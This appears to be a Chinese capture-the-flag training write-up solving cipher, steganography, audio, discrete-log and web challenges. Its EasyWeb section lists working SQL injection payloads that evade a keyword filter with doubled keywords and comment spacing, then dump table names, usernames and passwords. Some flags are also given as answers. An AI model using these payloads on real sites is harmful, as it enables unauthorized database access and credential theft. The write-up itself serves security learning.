2020-07训练赛WP

蔚落 2022-10-09 00:48 109阅读 0赞

## **0×01Pig** ##

下载文件，重命名为1.png，即可打开

![20210622222359305.png][]

是猪圈密码

查表解码

![2021062222174091.png][]

flag\{eatalldaysleepallnight\}

## 0×02 REPLACE ##

![2021062222175854.png][]

一一对应即可

解码为

congratulation flag is qwedcxsa\*rfvyhnbgtjiuno\*mlpw

G和V对应kz，顺序随便试的

flag\{ qwedcxsazrfvyhnbgtjiunokmlpw \}

## **0×03佬涩披** ##

下载下来图片文件

![20210622221836764.png][]

用Stegsolve打开切换通道查看

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70][]

## **0×04Sounds** ##

把音频用aucacity打开，调成频谱图

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1][]

逆序输出

## **0×05梨SON对数** ##

注释源码如下

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2][]

这是一道求离散对数的题目，可以使用BSGS算法求返回n的值

找一个在线运算器计算一下

Sage Cell Server在线平台

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3][]

最后把3373转换为32为MD5值即可

## **0×06EasyWeb** ##

题目提示

过滤了union, select, information和空格

之前一直固执用+，%20等代替空格，一直无果

应该使用/\*\*/来代替

然后字段数也一直报错了

Order by也没有，不解了…

反正爆回显点是

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,3\#

注意双写关键字一定要写完啊

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/database(),2,3\#

![20210622222048704.png][]

库名exercise

再爆表

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/group\_concat(table\_name)/\*\*/from/\*\*/inforinformationmation\_schema.tables/\*\*/where/\*\*/table\_schema=database(),2,3\#（不可行）

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(table\_name)/\*\*/from/\*\*/inforinformationmation\_schema.tables/\*\*/where/\*\*/table\_schema='exercise'\#（可行）

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(table\_name)/\*\*/from/\*\*/inforinformationmation\_schema.tables/\*\*/where/\*\*/table\_schema=database()\#（可行）

奇了怪了，非要在3处显示才行

![20210622222105477.png][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(column\_name)/\*\*/from/\*\*/inforinformationmation\_schema.columns/\*\*/where/\*\*/table\_name=’flag’\#

![20210622222126861.png][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(column\_name)/\*\*/from/\*\*/inforinformationmation\_schema.columns/\*\*/where/\*\*/table\_name=’flag\_one’\#

空

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(column\_name)/\*\*/from/\*\*/inforinformationmation\_schema.columns/\*\*/where/\*\*/table\_name=’users’\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,username/\*\*/from/\*\*/users\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,password/\*\*/from/\*\*/users\#

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 7][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(username)/\*\*/from/\*\*/users\# /爆值

![watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 8][]

\-1/\*\*/ununionion/\*\*/seselectlect/\*\*/1,2,group\_concat(password)/\*\*/from/\*\*/users\# /爆值

![20210622222305348.png][]

[20210622222359305.png]: /images/20221005/884f65fa32744f23bed9df011187e26d.png
[2021062222174091.png]: /images/20221005/db4f44e3b50d44f1a11e542def5dc891.png
[2021062222175854.png]: /images/20221005/d9cf0ba2af934ac5b44f4360d103b205.png
[20210622221836764.png]: /images/20221005/94580993cb714edfb7dface108ee7d92.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70]: /images/20221005/33057eb4724d43edbd73daff60b09bd1.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 1]: /images/20221005/3a23c07e86b44ba68fa2049460ef9567.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 2]: /images/20221005/02855d3702a74d35be7a3d81c98a14f5.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 3]: /images/20221005/0b6727e4c4be4d60b416704b248f8894.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 4]: /images/20221005/36451a1991654e009135fdeca865085f.png
[20210622222048704.png]: /images/20221005/bae8fb581c0e4640a3b35564f8c12a1c.png
[20210622222105477.png]: /images/20221005/be16539d2ff7470f8adb1ee85f7f6da4.png
[20210622222126861.png]: /images/20221005/d5683ff9f7d44528ba42687b8a9cb6c7.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 5]: /images/20221005/f61ea612ffe34065aad2373ad1e1fd4e.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 6]: /images/20221005/27d006b579824454861da4171718956a.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 7]: /images/20221005/f9502f4f675943258d75ce89573c516d.png
[watermark_type_ZmFuZ3poZW5naGVpdGk_shadow_10_text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dlaXhpbl80Mzk2NTU5Nw_size_16_color_FFFFFF_t_70 8]: /images/20221005/68e4773e6abf4ed68326ee6df27b0430.png
[20210622222305348.png]: /images/20221005/d016508034924bf79054c580469a09b6.png